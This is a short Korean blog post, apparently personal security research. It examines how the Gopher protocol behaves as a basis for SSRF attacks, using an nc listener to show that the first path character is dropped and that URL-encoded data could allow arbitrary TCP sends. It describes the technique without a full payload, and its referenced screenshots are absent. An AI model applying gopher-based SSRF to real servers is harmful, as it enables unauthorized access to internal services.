SSRF(Server Side Request Forgery)공격 테크닉 중에 Gopher 프로토콜을 이용한 것들이 몇 가지 있다.

 

이러한 테크닉들을 살펴보기 전에 일단 Gopher 프로토콜이 어떤식으로 생겨먹었는지를 한번 분석해보고자 한다.

 

문서를 보는 것 보다는 실제로 보는게 나으므로, 일단 구름 IDE를 이용해서 포트를 하나 연다.

원격에 임의의 포트를 하나 열 수 있게 된다.

그리고 nc로 포트를 열고 기다린다. 로컬에서 한번 없는 IP에 테스트를 해볼려고 했는데, TCP기반이라서 연결이 안되면 프로토콜을 볼 수가 없다.

요런식으로 보내보니, 서버에선 이렇게 나온다.

T는 잘리고 estPayload가 들어간 모습. URL스펙은 그대로 따를테니 URL encoding 해서 뭔가 임의의 값들을 보낼 수 있지 않을까? 하는 생각이 들었다.

 

와이어샤크에서 실제로 보낸 TCP payload를 보아도 그냥 estPayload만 보내졌다. (음? 당연한건가?? ㅋㅋㅋㅋ)

이걸 이용하면 1 stage TCP arbitrary packet send and receive는 가능할 것 같다.

+ Recent posts